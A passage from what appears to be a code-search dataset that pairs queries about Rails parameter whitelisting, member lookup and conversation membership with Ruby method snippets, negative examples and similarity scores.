return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def game_alphabet_params params.require(:game_alphabet).permit(:game_id, :round_number, :alphabet) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
return user member by id
def get_member(_user_id) user_participants.where(id: _user_id).take end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_member_by_id(id)\n @board.members.find { |m| m.id == id }\n end", "def member(id)\n space_memberships.find_by(user_id: id)\n end", "def get_member(id)\n is_admin? ? ::Refinery::Memberships::Member.find(id) : current_refinery_user\n end", "def get_user(id)\n @users[id]\n end", "def find_member\n @member = Member.find(params[:id])\n end", "def member(member_id, &block)\n get \"/member/#{member_id}/\", nil, &block\n end", "def member\n Member.find(id) if auth == 'customer'\n end", "def set_member\n @member = User.find(params[:id])\n end", "def get_members_by_id\n return filter_by_id(get_members) \n end", "def set_member\n @member = User.find(params[:id])\n end", "def has_member(id)\n return get_members_by_id.include? id\n end", "def user_id\n member.id\n end", "def member\n Member.find(@member.name)\n end", "def find_user_by_id(id)\n users.find_by_id(id)\n end", "def user(id:)\n User.find(id)\n end", "def get_member_of_list(user, list, member_id)\n get(\"/#{user}/#{list}/members/#{member_id}.json\")\n end", "def user(id)\n @users[id.resolve_id]\n end", "def show_member\n @member = Member.find(params[:id])\n end", "def get_user_by_id(id)\n $r.hgetall(\"user:#{id}\")\n end", "def get_member(member_id)\n member = ConferenceMember.new(@client.make_request(:get, @client.concat_user_path(\"#{CONFERENCE_PATH}/#{id}/members/#{member_id}\"))[0],\n @client)\n member.conference_id = id\n member\n end", "def set_member\n @member = @account.members.find(params[:id])\n end", "def find_user_by_id(id)\n User.find(id)\n end", "def member(type, id)\n members.select{ |member| member.type == type && member.ref == id }[0]\n end", "def get_user(users, id)\n user = users.select { |f| f[:id] == id }\n user.first\n end", "def get_user_byid(id)\n # accept an id input parameter\n # use the User Model class to get the User associated with the `id` primary key\n # return the User instance that matches the provided id\n @user = User.find_by(:id => id)\n @user\n end", "def set_member\n @member = User.where(id: params[:id], tenant_id: current_tenant.id).first\n rescue Exception\n puts Exception\n end", "def set_user_member\n @user_member = User::Member.find(params[:id])\n end", "def getUserByID(id) \n ret = nil\n @Users.each do |user|\n ret = user if user.ID == id \n end \n\n return ret\n end", "def get_user_byid(id)\n @user = User.find_by_id(id)\n end", "def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response.first[1]\n end", "def user(id = 'self')\n get(\"users/#{id}\").user\n end", "def get_user_by_id(id)\n resp = request('getUserByID', {:userID => id})['user']\n resp['username'].empty? ? nil : User.new(self, resp)\n end", "def user_team_members(id, user_id = nil)\n user_id.to_i.zero? ? get(\"/user_teams/#{id}/members\") : get(\"/user_teams/#{id}/members/#{user_id}\")\n end", "def team_member_by_id(user_id)\n users_projects.find_by_user_id(user_id)\n end", "def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response[\"user\"]\n end", "def team_member_by_id(user_id)\n users_projects.find_by(user_id: user_id)\n end", "def getUserByID(id)\n @Users.each do |usr| \n return usr if usr.ID == id \n end \n\n return nil \n end", "def find_user_by_id(id = 'my', params = {})\n object_from_response(Code42::User, :get, \"user/#{id}\", params)\n end", "def set_user\n user = Member.find(params[:id])\n end", "def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end", "def find_user(id: nil)\n return users.detect { |user| user.id == id }\n end", "def get_member_by_name\n if !@name.blank?\n m = Member.find_or_create_by_name @name\n write_attribute :member_id, m.id unless m.nil?\n end\n end", "def index\n @member = Member.find(params[:member_id])\n end", "def get_mailing_members(id)\n get(\"/mailings/#{id}/members\")\n end", "def set_member\n member_id = params[:id]\n @member = Member.find(member_id)\n end", "def get(user_id)\n User.find user_id\n end", "def getMemberById(teamId, taskId, memId) \n\n\tflash_team = FlashTeam.find(teamId)\n\t\n\t# Extract data from the JSON\n flash_team_status = JSON.parse(flash_team.status)\n flash_team_event = flash_team_status['flash_teams_json']['events'][taskId]\n \n team_members = flash_team_status['flash_teams_json']['members']\n\t\n\t# Iterate through them to pick up on events \n team_members.each do |member|\n \t \t\n \tif member['id'] == memId\n \t\treturn member\n \tend\n end\n\n return -1\nend", "def member_is_this_member?(id)\n requested_member = member_exists? id\n if requested_member.nil?\n return false\n end\n if requested_member != session[:member]\n return false\n end\n return true\n end", "def set_member\n @member = @space.members.friendly.find(params[:id])\n end", "def find_by_id!\n User.find(@username_or_id)\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def show\n #@member= Member.find(params[:member_id])\n end", "def show\n #@member= Member.find(params[:member_id])\n end", "def show\n #@member= Member.find(params[:member_id])\n end", "def show\n \t@member= Member.find(params[:member_id])\n\tend", "def show_user(id)\n BrickFTP::API::User.find(id)\n end", "def show_user(id)\n BrickFTP::API::User.find(id)\n end", "def member_id\n read_attribute(:member_id) if has_attribute?(:member_id)\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def user_by_id(user_id)\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Picking user ID #{user_id.inspect} from pool\"\n users.select { |user| user[:id] == user_id.to_i }.first\n end", "def find_by_id(id)\n users.find { |user| user.id == id } || false\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def set_member\n @member = Member.find(params[:id])\n end", "def find_by_id\n User.find_by_id(@username_or_id)\n end", "def show\n @member = Member.find_by_url(params[:id])\n @member = Member.find_by_url_or_id(params[:id]) if @member.nil?\n end", "def set_member\n @member = Member.friendly.find(params[:id])\n end", "def team_members(id)\n get \"/teams/#{id}/members\"\n end", "def team_member?(id, username)\n boolean_request :get, \"/teams/#{id}/members/#{username}\"\n end" ]
[ "0.828159", "0.82316464", "0.82199925", "0.7739596", "0.7631772", "0.75175834", "0.74912727", "0.7456474", "0.74503964", "0.74027056", "0.7293004", "0.7265817", "0.7233544", "0.7204741", "0.7191809", "0.7190397", "0.7170296", "0.716617", "0.7164408", "0.7161669", "0.7133149", "0.7130386", "0.71120185", "0.70750177", "0.70694184", "0.706176", "0.70483303", "0.7031554", "0.70194685", "0.70040685", "0.6992036", "0.695847", "0.6947866", "0.69334763", "0.691812", "0.68823457", "0.6853192", "0.68475556", "0.6843777", "0.6837136", "0.68316275", "0.6822287", "0.68191797", "0.68007475", "0.6798677", "0.67951894", "0.6794028", "0.6792192", "0.6781794", "0.67790884", "0.67753893", "0.67753893", "0.67753893", "0.67753893", "0.67753893", "0.6773848", "0.6773848", "0.6773848", "0.6765081", "0.67630625", "0.67630625", "0.67583823", "0.6751294", "0.67435724", "0.6731905", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.6731745", "0.67298627", "0.6712336", "0.6701995", "0.66983277", "0.66935027", "0.666668" ]
0.7844152
3
check if user_id is in current conversation
def is_in_conversation?(_user_id) conversation_members.where(user_id: _user_id).any? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sent_by?(user)\n from_user_id == user&.id\n end", "def usr_msg? convo, usr\n (usr.id == convo.user_id && convo.status == 'active') || (usr.id == convo.recipient_id && convo.recipient_status == 'active')\n end", "def has_conversation?(conversation_id)\r\n self.conversations.has_key?(conversation_id.to_s)\r\n end", "def conversated?\n session[:conversations].include?(@conversation.id)\n end", "def participates?(user)\n \tsender == user || recipient == user\n\tend", "def recipient?(user_id)\n return (self.to.to_i == user_id.to_i)\n end", "def sender? usr\n usr.id == user_id\n end", "def has_conversation?(conversation)\n conversation.is_participant?(messageable)\n end", "def has_conversation?(conversation)\n conversation.is_participant?(messageable)\n end", "def current_user?(call_node)\n call_node.message == :current_user || (call_node.subject.message == :current_user && call_node.message == :id)\n end", "def replied_conv? usr\n ConversationProcessor.new(self).replied_conv? usr\n end", "def invited_by?(user)\n user.friend_ids.include?(self.id) or user.pending_friend_ids.include?(self.id)\n end", "def show\n if user_signed_in?\n @message_has_been_sent = conversation_exist?\nend\n end", "def read?(_user_id)\n conversation.conversation_members.where(user_id: _user_id).take.last_seen > created_at\n end", "def in_conversation? person = nil\n\t\treturn mode? :conversation if (person.nil?)\n\t\treturn @in_conversation if (person && person.is?(:person) && mode?(:conversation))\n\t\treturn nil\n\tend", "def inviter?(user)\n return user.id == inviter_user_id\n end", "def member_of?(context)\n context.users.include? self\n end", "def related?(user)\n [from_user_id, to_user_id].include?(user&.id)\n end", "def invited?(user)\n self.friend_ids.include?(user.id) or self.pending_friend_ids.include?(user.id)\n end", "def check_own_invite\n return (@invite[:user_id] == session[:user_id]) ? 1 : nil\n end", "def conversation_exist?(receiver_uid)\n !DatabaseConnection.query(\"SELECT * \n FROM \n (SELECT * FROM conversations \n WHERE\n u1_id = #{receiver_uid}\n OR u2_id = #{receiver_uid}) AS z\n WHERE\n u1_id = #{@uid}\n OR u2_id = #{@uid}\" \n ).num_tuples.zero?\n end", "def has_subscriber?(user_id)\n # In the case of an Indivual tournament\n if is_individual?\n users.exists?(user_id)\n else\n # If we are in a team kind of tournament\n memberships.exists?(:user_id => user_id)\n end\n end", "def participates?(user)\n author == user || receiver == user\n end", "def thread_member?(user)\n user == self.user || (messagable_type == \"User\" && messagable_id == user.id) || self.replies.map(&:user).include?(user)\n end", "def isAuthorizedChat(token, chat_id)\r\n \r\n # Check if session exists\r\n if !Session.exists?(:token => token)\r\n\t\treturn -1\r\n\tend\r\n \r\n # Get 